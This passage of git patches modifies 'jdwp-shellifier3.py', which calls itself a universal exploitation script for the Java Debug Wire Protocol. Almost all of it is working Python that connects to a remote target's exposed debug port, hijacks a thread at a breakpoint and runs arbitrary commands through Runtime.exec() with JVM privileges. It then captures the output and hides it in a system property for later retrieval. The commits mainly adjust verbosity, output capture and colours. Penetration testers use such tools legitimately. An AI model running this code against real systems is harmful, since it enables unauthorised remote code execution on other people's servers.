60) + else: + if verbose: + print("") + print("[-] No command output stored in properties") + + return True + + +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command, verbose=True): + # + # This function will invoke command as a payload, which will be running + # with JVM privilege on host (intrusive). + # + if verbose: + print("[+] Selected payload '%s'" % command) + + # 1. allocating string containing our command to exec() + cmdObjIds = jdwp.createstring(command) + if len(cmdObjIds) == 0: + if verbose: + print("[-] Failed to allocate command") + return False + cmdObjId = cmdObjIds[0]["objId"] + if verbose: + print("[+] Command string object created id:%x" % cmdObjId) + + # 2. use context to get Runtime object + buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) + if buf[0] != TAG_OBJECT: + if verbose: + print("[-] Unexpected returned type: expecting Object") + return False + rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + + if rt is None: + if verbose: + print("[-] Failed to invoke Runtime.getRuntime()") + return False + if verbose: + print("[+] Runtime.getRuntime() returned context id:%#x" % rt) + + # 3. find exec() method + execMeth = jdwp.get_method_by_name("exec") + if execMeth is None: + if verbose: + print("[-] Cannot find method Runtime.exec()") + return False + if verbose: + print("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) + + # 4. call exec() in this context with the alloc-ed string + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, cmdObjId)] + buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) + if buf[0] != TAG_OBJECT: + if verbose: + print("[-] Unexpected returned type: expecting Object") + return False + + processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + if verbose: + print("[+] Runtime.exec() successful, processId=%x" % processId) + + # 5. Capture command output + output = capture_process_output(jdwp, threadId, processId, verbose) + if output: + if verbose: + print("[+] Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output, verbose) + if verbose: + print("[+] Output stored in 'jdwp.cmd.output' property") + print("[+] Run without --cmd to retrieve output via properties") + else: + if verbose: + print("[-] Failed to capture command output") + + return True + + +def capture_process_output(jdwp, threadId, processId, verbose=True): + """ + Captures stdout from a Process object by: + 1. Getting Process class reference + 2. Calling getInputStream() on Process object + 3. Reading from InputStream using InputStreamReader and BufferedReader + """ + try: + # Get Process class + processClass = jdwp.get_class_by_name("Ljava/lang/Process;") + if processClass is None: + if verbose: + print("[-] Cannot find class Process") + return None + + # Wait for process to complete + jdwp.get_methods(processClass["refTypeId"]) + waitForMeth = jdwp.get_method_by_name("waitFor") + if waitForMeth: + if verbose: + print("[+] Waiting for process to complete...") + else: + sys.stdout.write("[*] Executing command") + sys.stdout.flush() + jdwp.invoke(processId, threadId, processClass["refTypeId"], + waitForMeth["methodId"]) + if verbose: + print("[+] Process completed") + else: + sys.stdout.write(" done\n") + + # Get getInputStream() method + getInputStreamMeth = jdwp.get_method_by_name("getInputStream") + if getInputStreamMeth is None: + if verbose: + print("[-] Cannot find method Process.getInputStream()") + return None + + # Call getInputStream() on Process object + buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], + getInputStreamMeth["methodId"]) + if buf[0] != TAG_OBJECT: + if verbose: + print("[-] Failed to get InputStream") + return None + + inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + if verbose: + print("[+] Got InputStream id:%#x" % inputStreamId) + + # Use BufferedReader to read output + return capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose) + + except Exception as e: + if verbose: + print("[-] Exception in capture_process_output: %s" % e) + return None + + +def capture_with_bufferedreader(jdwp, threadId, inputStreamId): + """ + Reads InputStream content efficiently using byte array reads + """ + try: + # Try IOUtils first (fastest method) + output = read_inputstream_bytes(jdwp, threadId, inputStreamId, None) + + if output: + print("[+] Captured output (%d bytes)" % len(output)) + return output + + # Fallback to byte-by-byte read + return read_with_inputstreamreader(jdwp, threadId, inputStreamId) + + except Exception as e: + print("[-] Exception in capture_with_bufferedreader: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId, verbose=True): + """ + Reads all bytes from InputStream using IOUtils or similar utility + """ + try: + # Try to use Apache Commons IOUtils.toString() if available + # This is commonly available in Java web applications + ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") + + if ioUtilsClass: + if verbose: + print("[+] Using Apache Commons IOUtils") + jdwp.get_methods(ioUtilsClass["refTypeId"]) + + toStringMeth = None + for method in jdwp.methods[ioUtilsClass["refTypeId"]]: + if method["name"] == "toString" and "(Ljava/io/InputStream;" in method["signature"]: + toStringMeth = method + break + + if toStringMeth: + data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, inputStreamId)] + buf = jdwp.invokestatic(ioUtilsClass["refTypeId"], threadId, + toStringMeth["methodId"], *data) + + if buf[0] == TAG_STRING: + outputId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + output = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, outputId)) + return output + + # Fallback: Use InputStreamReader + read char array approach + if verbose: + print("[+] Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) + + except Exception as e: + if verbose: + print("[-] Exception in read_inputstream_bytes: %s" % e) + import traceback + traceback.print_exc() + return None + + +def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): + """ + Fallback: Read bytes using read() loop with optimizations + """ + try: + inputStreamClass = jdwp.get_class_by_name("Ljava/io/InputStream;") + jdwp.get_methods(inputStreamClass["refTypeId"]) + + readMeth = None + for method in jdwp.methods[inputStreamClass["refTypeId"]]: + if method["name"] == "read" and method["signature"] == "()I": + readMeth = method + break + + if readMeth is None: + if verbose: + print("[-] Cannot find InputStream.read()") + return None + + output_bytes = bytearray() + max_bytes = 1048576 # 1MB limit + + if verbose: + sys.stdout.write("[+] Reading output") + else: + sys.stdout.write("[*] Capturing output") + sys.stdout.flush() + + while len(output_bytes) < max_bytes: + buf = jdwp.invoke(inputStreamId, threadId, inputStreamClass["refTypeId"], + readMeth["methodId"]) + + if buf[0] != 73: # TAG_INT + sys.stdout.write("\n") + if verbose: + print("[-] read() unexpected return type") + break + + byte_val = struct.unpack(">i", buf[1:5])[0] + + if byte_val == -1: + break + + output_bytes.append(byte_val & 0xFF) + + # Progress indicator + if verbose and len(output_bytes) % 1000 == 0: + sys.stdout.write(".") + sys.stdout.flush() + elif not verbose and len(output_bytes) % 5000 == 0: + sys.stdout.write(".") + sys.stdout.flush() + + sys.stdout.write(" done\n") + + if len(output_bytes) == 0: + return None + + return output_bytes.decode('utf-8', errors='replace') + + except Exception as e: + if verbose: + print("[-] Exception in read_with_inputstreamreader: %s" % e) + return None + + +def store_output_in_property(jdwp, threadId, output, verbose=True): + """ + Stores output in system property 'jdwp.cmd.output' using System.setProperty() + """ + try: + # Get System class + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + if verbose: + print("[-] Cannot find class System") + return False + + # Get setProperty method + jdwp.get_methods(systemClass["refTypeId"]) + setPropertyMeth = None + for method in jdwp.methods[systemClass["refTypeId"]]: + if method["name"] == "setProperty": + setPropertyMeth = method + break + + if setPropertyMeth is None: + if verbose: + print("[-] Cannot find System.setProperty()") + return False + + # Create property name string + propNameObjIds = jdwp.createstring("jdwp.cmd.output") + if len(propNameObjIds) == 0: + return False + propNameObjId = propNameObjIds[0]["objId"] + + # Create property value string (the output) + propValueObjIds = jdwp.createstring(output) + if len(propValueObjIds) == 0: + return False + propValueObjId = propValueObjIds[0]["objId"] + + # Call System.setProperty(name, value) + data = [ + bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propNameObjId), + bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, propValueObjId) + ] + + jdwp.invokestatic(systemClass["refTypeId"], threadId, + setPropertyMeth["methodId"], *data) + + return True + + except Exception as e: + if verbose: + print("[-] Exception in store_output_in_property: %s" % e) + return False + + +def str2fqclass(s): + i = s.rfind('.') + if i == -1: + print("Cannot parse path") + sys.exit(1) + + method = s[i:][1:] + classname = 'L' + s[:i].replace('.', '/') + ';' + return classname, method + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", + formatter_class=argparse.ArgumentDefaultsHelpFormatter) + + parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) + parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") + + parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", + default="java.net.ServerSocket.accept", help="Specify full path to method to break on") + parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", + help="Specify command to execute remotely") + parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", + help="Execute command and automatically retrieve output") + parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", + help="Enable verbose output (show all debug messages)") + + args = parser.parse_args() + + classname, meth = str2fqclass(args.break_on) + setattr(args, "break_on_class", classname) + setattr(args, "break_on_method", meth) + + retcode = 0 + + try: + # Handle --cmd-with-output: execute command, then retrieve output + if args.cmd_with_output: + if args.verbose: + print("[+] Executing command with output retrieval mode") + print("") + + # First execution: run command and store output + if args.verbose: + print("=" * 60) + print("[*] PHASE 1: Executing command and storing output") + print("=" * 60) + args.cmd = args.cmd_with_output + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + if args.verbose: + print("[-] Exploit failed in execution phase") + retcode = 1 + cli.leave() + else: + cli.leave() + + # Small delay to ensure property is set + if args.verbose: + print("") + print("[+] Waiting 2 seconds before retrieving output...") + time.sleep(2) + + # Second execution: retrieve output + if args.verbose: + print("") + print("=" * 60) + print("[*] PHASE 2: Retrieving command output") + print("=" * 60) + args.cmd = None + + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + if args.verbose: + print("[-] Exploit failed in retrieval phase") + retcode = 1 + + cli.leave() + else: + # Normal execution mode + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + if args.verbose: + print("[-] Exploit failed") + retcode = 1 + + cli.leave() + + except KeyboardInterrupt: + print("[+] Exiting on user's request") + + except Exception as e: + print("[-] Exception: %s" % e) + retcode = 1 + + sys.exit(retcode) From 912d7d7788ca100760ab4bfd4303c96f03524ef2 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 10:09:19 +0200 Subject: [PATCH 3/6] Update jdwp-shellifier3.py --- jdwp-shellifier3.py | 264 ++++++++++++++------------------------------ 1 file changed, 83 insertions(+), 181 deletions(-) diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py index 0c3f17d..116169e 100644 --- a/jdwp-shellifier3.py +++ b/jdwp-shellifier3.py @@ -1,25 +1,4 @@ -def capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose=True): - """ - Reads InputStream content efficiently using byte array reads - """ - try: - # Try IOUtils first (fastest method) - output = read_inputstream_bytes(jdwp, threadId, inputStreamId, None, verbose) - - if output: - if verbose: - print("[+] Captured output (%d bytes)" % len(output)) - return output - - # Fallback to byte-by-byte read - return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) - - except Exception as e: - if verbose: - print("[-] Exception in capture_with_bufferedreader: %s" % e) - import traceback - traceback.print_exc() - return None#!/usr/bin/env python3 +#!/usr/bin/env python3 ################################################################################ # # Universal JDWP shellifier @@ -437,11 +416,8 @@ def parse_event_breakpoint(self, buf, eventId): def runtime_exec(jdwp, args): - verbose = getattr(args, 'verbose', True) - - if verbose: - print("[+] Targeting '%s:%d'" % (args.target, args.port)) - print("[+] Reading settings for '%s'" % jdwp.version) + print("[+] Targeting '%s:%d'" % (args.target, args.port)) + print("[+] Reading settings for '%s'" % jdwp.version) # Lazy load classes jdwp.allclasses() @@ -449,36 +425,30 @@ def runtime_exec(jdwp, args): # 1. get Runtime class reference runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") if runtimeClass is None: - if verbose: - print("[-] Cannot find class Runtime") + print("[-] Cannot find class Runtime") return False - if verbose: - print("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) + print("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) # 2. get getRuntime() meth reference jdwp.get_methods(runtimeClass["refTypeId"]) getRuntimeMeth = jdwp.get_method_by_name("getRuntime") if getRuntimeMeth is None: - if verbose: - print("[-] Cannot find method Runtime.getRuntime()") + print("[-] Cannot find method Runtime.getRuntime()") return False - if verbose: - print("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) + print("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) # 3. setup breakpoint on frequently called method c = jdwp.get_class_by_name(args.break_on_class) if c is None: - if verbose: - print("[-] Could not access class '%s'" % args.break_on_class) - print("[-] It is possible that this class is not used by application") - print("[-] Test with another one with option `--break-on`") + print("[-] Could not access class '%s'" % args.break_on_class) + print("[-] It is possible that this class is not used by application") + print("[-] Test with another one with option `--break-on`") return False jdwp.get_methods(c["refTypeId"]) m = jdwp.get_method_by_name(args.break_on_method) if m is None: - if verbose: - print("[-] Could not access method '%s'" % args.break_on) + print("[-] Could not access method '%s'" % args.break_on) return False loc = bytes([TYPE_CLASS]) @@ -487,52 +457,38 @@ def runtime_exec(jdwp, args): loc += struct.pack(">II", 0, 0) data = [(MODKIND_LOCATIONONLY, loc),] rId = jdwp.send_event(EVENT_BREAKPOINT, *data) - if verbose: - print("[+] Created break event id=%x" % rId) + print("[+] Created break event id=%x" % rId) # 4. resume vm and wait for event jdwp.resumevm() - if verbose: - print("[+] Waiting for an event on '%s'" % args.break_on) - else: - sys.stdout.write("[*] Waiting for breakpoint") - sys.stdout.flush() - + print("[+] Waiting for an event on '%s'" % args.break_on) while True: buf = jdwp.wait_for_event() ret = jdwp.parse_event_breakpoint(buf, rId) if ret is not None: break - if not verbose: - sys.stdout.write(".") - sys.stdout.flush() - - if not verbose: - sys.stdout.write(" hit\n") rId, tId, loc = ret - if verbose: - print("[+] Received matching event from thread %#x" % tId) + print("[+] Received matching event from thread %#x" % tId) jdwp.clear_event(EVENT_BREAKPOINT, rId) # 5. Now we can execute any code if args.cmd: - runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd, verbose) + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) else: # by default, only prints out few system properties - runtime_exec_info(jdwp, tId, verbose) + runtime_exec_info(jdwp, tId) jdwp.resumevm() - if verbose: - print("[!] Command successfully executed") + print("[!] Command successfully executed") return True -def runtime_exec_info(jdwp, threadId, verbose=True): +def runtime_exec_info(jdwp, threadId): # # This function calls java.lang.System.getProperties() and # displays OS properties (non-intrusive) @@ -593,15 +549,13 @@ def runtime_exec_info(jdwp, threadId, verbose=True): systemClass = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: - if verbose: - print("[-] Cannot find class java.lang.System") + print("[-] Cannot find class java.lang.System") return False jdwp.get_methods(systemClass["refTypeId"]) getPropertyMeth = jdwp.get_method_by_name("getProperty") if getPropertyMeth is None: - if verbose: - print("[-] Cannot find method System.getProperty()") + print("[-] Cannot find method System.getProperty()") return False # Store command output separately to display at the end @@ -610,8 +564,7 @@ def runtime_exec_info(jdwp, threadId, verbose=True): for propStr, propDesc in properties.items(): propObjIds = jdwp.createstring(propStr) if len(propObjIds) == 0: - if verbose: - print("[-] Failed to allocate command") + print("[-] Failed to allocate command") return False propObjId = propObjIds[0]["objId"] @@ -627,14 +580,13 @@ def runtime_exec_info(jdwp, threadId, verbose=True): # Store command output for later display cmd_output = res else: - if verbose: - print("[+] Found %s '%s'" % (propDesc, res)) + print("[+] Found %s '%s'" % (propDesc, res)) elif buf[0] == TAG_OBJECT: # Property not set (returns null) if propStr == "jdwp.cmd.output": cmd_output = None else: - if propStr != "jdwp.cmd.output" and verbose: + if propStr != "jdwp.cmd.output": print("[-] %s: Unexpected returned type: %d" % (propStr, buf[0])) # Display command output at the end if available @@ -646,84 +598,70 @@ def runtime_exec_info(jdwp, threadId, verbose=True): print(cmd_output) print("=" * 60) else: - if verbose: - print("") - print("[-] No command output stored in properties") + print("") + print("[-] No command output stored in properties") return True -def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command, verbose=True): +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): # # This function will invoke command as a payload, which will be running # with JVM privilege on host (intrusive). # - if verbose: - print("[+] Selected payload '%s'" % command) + print("[+] Selected payload '%s'" % command) # 1. allocating string containing our command to exec() cmdObjIds = jdwp.createstring(command) if len(cmdObjIds) == 0: - if verbose: - print("[-] Failed to allocate command") + print("[-] Failed to allocate command") return False cmdObjId = cmdObjIds[0]["objId"] - if verbose: - print("[+] Command string object created id:%x" % cmdObjId) + print("[+] Command string object created id:%x" % cmdObjId) # 2. use context to get Runtime object buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) if buf[0] != TAG_OBJECT: - if verbose: - print("[-] Unexpected returned type: expecting Object") + print("[-] Unexpected returned type: expecting Object") return False rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) if rt is None: - if verbose: - print("[-] Failed to invoke Runtime.getRuntime()") + print("[-] Failed to invoke Runtime.getRuntime()") return False - if verbose: - print("[+] Runtime.getRuntime() returned context id:%#x" % rt) + print("[+] Runtime.getRuntime() returned context id:%#x" % rt) # 3. find exec() method execMeth = jdwp.get_method_by_name("exec") if execMeth is None: - if verbose: - print("[-] Cannot find method Runtime.exec()") + print("[-] Cannot find method Runtime.exec()") return False - if verbose: - print("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) + print("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) # 4. call exec() in this context with the alloc-ed string data = [bytes([TAG_OBJECT]) + jdwp.format(jdwp.objectIDSize, cmdObjId)] buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) if buf[0] != TAG_OBJECT: - if verbose: - print("[-] Unexpected returned type: expecting Object") + print("[-] Unexpected returned type: expecting Object") return False processId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - if verbose: - print("[+] Runtime.exec() successful, processId=%x" % processId) + print("[+] Runtime.exec() successful, processId=%x" % processId) # 5. Capture command output - output = capture_process_output(jdwp, threadId, processId, verbose) + output = capture_process_output(jdwp, threadId, processId) if output: - if verbose: - print("[+] Command output captured, storing in system property") - store_output_in_property(jdwp, threadId, output, verbose) - if verbose: - print("[+] Output stored in 'jdwp.cmd.output' property") - print("[+] Run without --cmd to retrieve output via properties") + print("[+] Command output captured, storing in system property") + store_output_in_property(jdwp, threadId, output) + print("[+] Output stored in 'jdwp.cmd.output' property") + print("[+] Run without --cmd to retrieve output via properties") else: - if verbose: - print("[-] Failed to capture command output") + print("[-] Failed to capture command output") return True -def capture_process_output(jdwp, threadId, processId, verbose=True): +def capture_process_output(jdwp, threadId, processId): """ Captures stdout from a Process object by: 1. Getting Process class reference @@ -734,51 +672,39 @@ def capture_process_output(jdwp, threadId, processId, verbose=True): # Get Process class processClass = jdwp.get_class_by_name("Ljava/lang/Process;") if processClass is None: - if verbose: - print("[-] Cannot find class Process") + print("[-] Cannot find class Process") return None # Wait for process to complete jdwp.get_methods(processClass["refTypeId"]) waitForMeth = jdwp.get_method_by_name("waitFor") if waitForMeth: - if verbose: - print("[+] Waiting for process to complete...") - else: - sys.stdout.write("[*] Executing command") - sys.stdout.flush() + print("[+] Waiting for process to complete...") jdwp.invoke(processId, threadId, processClass["refTypeId"], waitForMeth["methodId"]) - if verbose: - print("[+] Process completed") - else: - sys.stdout.write(" done\n") + print("[+] Process completed") # Get getInputStream() method getInputStreamMeth = jdwp.get_method_by_name("getInputStream") if getInputStreamMeth is None: - if verbose: - print("[-] Cannot find method Process.getInputStream()") + print("[-] Cannot find method Process.getInputStream()") return None # Call getInputStream() on Process object buf = jdwp.invoke(processId, threadId, processClass["refTypeId"], getInputStreamMeth["methodId"]) if buf[0] != TAG_OBJECT: - if verbose: - print("[-] Failed to get InputStream") + print("[-] Failed to get InputStream") return None inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) - if verbose: - print("[+] Got InputStream id:%#x" % inputStreamId) + print("[+] Got InputStream id:%#x" % inputStreamId) # Use BufferedReader to read output - return capture_with_bufferedreader(jdwp, threadId, inputStreamId, verbose) + return capture_with_bufferedreader(jdwp, threadId, inputStreamId) except Exception as e: - if verbose: - print("[-] Exception in capture_process_output: %s" % e) + print("[-] Exception in capture_process_output: %s" % e) return None @@ -804,7 +730,7 @@ def capture_with_bufferedreader(jdwp, threadId, inputStreamId): return None -def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId, verbose=True): +def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId): """ Reads all bytes from InputStream using IOUtils or similar utility """ @@ -814,8 +740,7 @@ def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId, ve ioUtilsClass = jdwp.get_class_by_name("Lorg/apache/commons/io/IOUtils;") if ioUtilsClass: - if verbose: - print("[+] Using Apache Commons IOUtils") + print("[+] Using Apache Commons IOUtils") jdwp.get_methods(ioUtilsClass["refTypeId"]) toStringMeth = None @@ -835,19 +760,17 @@ def read_inputstream_bytes(jdwp, threadId, inputStreamId, inputStreamClassId, ve return output # Fallback: Use InputStreamReader + read char array approach - if verbose: - print("[+] Using InputStreamReader fallback") - return read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose) + print("[+] Using InputStreamReader fallback") + return read_with_inputstreamreader(jdwp, threadId, inputStreamId) except Exception as e: - if verbose: - print("[-] Exception in read_inputstream_bytes: %s" % e) - import traceback - traceback.print_exc() + print("[-] Exception in read_inputstream_bytes: %s" % e) + import traceback + traceback.print_exc() return None -def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): +def read_with_inputstreamreader(jdwp, threadId, inputStreamId): """ Fallback: Read bytes using read() loop with optimizations """ @@ -862,17 +785,13 @@ def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): break if readMeth is None: - if verbose: - print("[-] Cannot find InputStream.read()") + print("[-] Cannot find InputStream.read()") return None output_bytes = bytearray() max_bytes = 1048576 # 1MB limit - if verbose: - sys.stdout.write("[+] Reading output") - else: - sys.stdout.write("[*] Capturing output") + sys.stdout.write("[+] Reading output") sys.stdout.flush() while len(output_bytes) < max_bytes: @@ -881,8 +800,7 @@ def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): if buf[0] != 73: # TAG_INT sys.stdout.write("\n") - if verbose: - print("[-] read() unexpected return type") + print("[-] read() unexpected return type") break byte_val = struct.unpack(">i", buf[1:5])[0] @@ -892,11 +810,8 @@ def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): output_bytes.append(byte_val & 0xFF) - # Progress indicator - if verbose and len(output_bytes) % 1000 == 0: - sys.stdout.write(".") - sys.stdout.flush() - elif not verbose and len(output_bytes) % 5000 == 0: + # Progress indicator every 1000 bytes + if len(output_bytes) % 1000 == 0: sys.stdout.write(".") sys.stdout.flush() @@ -908,12 +823,11 @@ def read_with_inputstreamreader(jdwp, threadId, inputStreamId, verbose=True): return output_bytes.decode('utf-8', errors='replace') except Exception as e: - if verbose: - print("[-] Exception in read_with_inputstreamreader: %s" % e) + print("[-] Exception in read_with_inputstreamreader: %s" % e) return None -def store_output_in_property(jdwp, threadId, output, verbose=True): +def store_output_in_property(jdwp, threadId, output): """ Stores output in system property 'jdwp.cmd.output' using System.setProperty() """ @@ -921,8 +835,7 @@ def store_output_in_property(jdwp, threadId, output, verbose=True): # Get System class systemClass = jdwp.get_class_by_name("Ljava/lang/System;") if systemClass is None: - if verbose: - print("[-] Cannot find class System") + print("[-] Cannot find class System") return False # Get setProperty method @@ -934,8 +847,7 @@ def store_output_in_property(jdwp, threadId, output, verbose=True): break if setPropertyMeth is None: - if verbose: - print("[-] Cannot find System.setProperty()") + print("[-] Cannot find System.setProperty()") return False # Create property name string @@ -962,8 +874,7 @@ def store_output_in_property(jdwp, threadId, output, verbose=True): return True except Exception as e: - if verbose: - print("[-] Exception in store_output_in_property: %s" % e) + print("[-] Exception in store_output_in_property: %s" % e) return False @@ -991,8 +902,6 @@ def str2fqclass(s): help="Specify command to execute remotely") parser.add_argument("--cmd-with-output", dest="cmd_with_output", type=str, metavar="COMMAND", help="Execute command and automatically retrieve output") - parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", - help="Enable verbose output (show all debug messages)") args = parser.parse_args() @@ -1005,48 +914,42 @@ def str2fqclass(s): try: # Handle --cmd-with-output: execute command, then retrieve output if args.cmd_with_output: - if args.verbose: - print("[+] Executing command with output retrieval mode") - print("") + print("[+] Executing command with output retrieval mode") + print("") # First execution: run command and store output - if args.verbose: - print("=" * 60) - print("[*] PHASE 1: Executing command and storing output") - print("=" * 60) + print("=" * 60) + print("[*] PHASE 1: Executing command and storing output") + print("=" * 60) args.cmd = args.cmd_with_output cli = JDWPClient(args.target, args.port) cli.start() if runtime_exec(cli, args) == False: - if args.verbose: - print("[-] Exploit failed in execution phase") + print("[-] Exploit failed in execution phase") retcode = 1 cli.leave() else: cli.leave() # Small delay to ensure property is set - if args.verbose: - print("") - print("[+] Waiting 2 seconds before retrieving output...") + print("") + print("[+] Waiting 2 seconds before retrieving output...") time.sleep(2) # Second execution: retrieve output - if args.verbose: - print("") - print("=" * 60) - print("[*] PHASE 2: Retrieving command output") - print("=" * 60) + print("") + print("=" * 60) + print("[*] PHASE 2: Retrieving command output") + print("=" * 60) args.cmd = None cli = JDWPClient(args.target, args.port) cli.start() if runtime_exec(cli, args) == False: - if args.verbose: - print("[-] Exploit failed in retrieval phase") + print("[-] Exploit failed in retrieval phase") retcode = 1 cli.leave() @@ -1056,8 +959,7 @@ def str2fqclass(s): cli.start() if runtime_exec(cli, args) == False: - if args.verbose: - print("[-] Exploit failed") + print("[-] Exploit failed") retcode = 1 cli.leave() From 17d96e7820d7f2a0719c0ca8d8b05b2a21d00358 Mon Sep 17 00:00:00 2001 From: aarislarsen Date: Thu, 9 Oct 2025 10:30:33 +0200 Subject: [PATCH 4/6] Update jdwp-shellifier3.py --- jdwp-shellifier3.py | 668 +++++++++++++++++--------------------------- 1 file changed, 259 insertions(+), 409 deletions(-) diff --git a/jdwp-shellifier3.py b/jdwp-shellifier3.py index 116169e..e299614 100644 --- a/jdwp-shellifier3.py +++ b/jdwp-shellifier3.py @@ -1,84 +1,78 @@ #!/usr/bin/env python3 -################################################################################ -# -# Universal JDWP shellifier -# -# @_hugsy_ -# -# And special cheers to @lanjelot -# - import socket import time import sys import struct import argparse +class Colors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + DIM = '\033[2m' + + @staticmethod + def disable(): + Colors.HEADER = Colors.OKBLUE = Colors.OKCYAN = Colors.OKGREEN = '' + Colors.WARNING = Colors.FAIL = Colors.ENDC = Colors.BOLD = '' + Colors.UNDERLINE = Colors.DIM = '' + +HANDSHAKE = b"JDWP-Handshake" +REQUEST_PACKET_TYPE = 0x00 +REPLY_PACKET_TYPE = 0x80 + +VERSION_SIG = (1, 1) +CLASSESBYSIGNATURE_SIG = (1, 2) +ALLCLASSES_SIG = (1, 3) +ALLTHREADS_SIG = (1, 4) +IDSIZES_SIG = (1, 7) +CREATESTRING_SIG = (1, 11) +SUSPENDVM_SIG = (1, 8) +RESUMEVM_SIG = (1, 9) +SIGNATURE_SIG = (2, 1) +FIELDS_SIG = (2, 4) +METHODS_SIG = (2, 5) +GETVALUES_SIG = (2, 6) +CLASSOBJECT_SIG = (2, 11) +INVOKESTATICMETHOD_SIG = (3, 3) +REFERENCETYPE_SIG = (9, 1) +INVOKEMETHOD_SIG = (9, 6) +STRINGVALUE_SIG = (10, 1) +THREADNAME_SIG = (11, 1) +THREADSUSPEND_SIG = (11, 2) +THREADRESUME_SIG = (11, 3) +THREADSTATUS_SIG = (11, 4) +EVENTSET_SIG = (15, 1) +EVENTCLEAR_SIG = (15, 2) +EVENTCLEARALL_SIG = (15, 3) + +MODKIND_COUNT = 1 +MODKIND_THREADONLY = 2 +MODKIND_CLASSMATCH = 5 +MODKIND_LOCATIONONLY = 7 +EVENT_BREAKPOINT = 2 +SUSPEND_EVENTTHREAD = 1 +SUSPEND_ALL = 2 +NOT_IMPLEMENTED = 99 +VM_DEAD = 112 +INVOKE_SINGLE_THREADED = 2 +TAG_OBJECT = 76 +TAG_STRING = 115 +TYPE_CLASS = 1 -################################################################################ -# -# JDWP protocol variables -# -HANDSHAKE = b"JDWP-Handshake" - -REQUEST_PACKET_TYPE = 0x00 -REPLY_PACKET_TYPE = 0x80 - -# Command signatures -VERSION_SIG = (1, 1) -CLASSESBYSIGNATURE_SIG = (1, 2) -ALLCLASSES_SIG = (1, 3) -ALLTHREADS_SIG = (1, 4) -IDSIZES_SIG = (1, 7) -CREATESTRING_SIG = (1, 11) -SUSPENDVM_SIG = (1, 8) -RESUMEVM_SIG = (1, 9) -SIGNATURE_SIG = (2, 1) -FIELDS_SIG = (2, 4) -METHODS_SIG = (2, 5) -GETVALUES_SIG = (2, 6) -CLASSOBJECT_SIG = (2, 11) -INVOKESTATICMETHOD_SIG = (3, 3) -REFERENCETYPE_SIG = (9, 1) -INVOKEMETHOD_SIG = (9, 6) 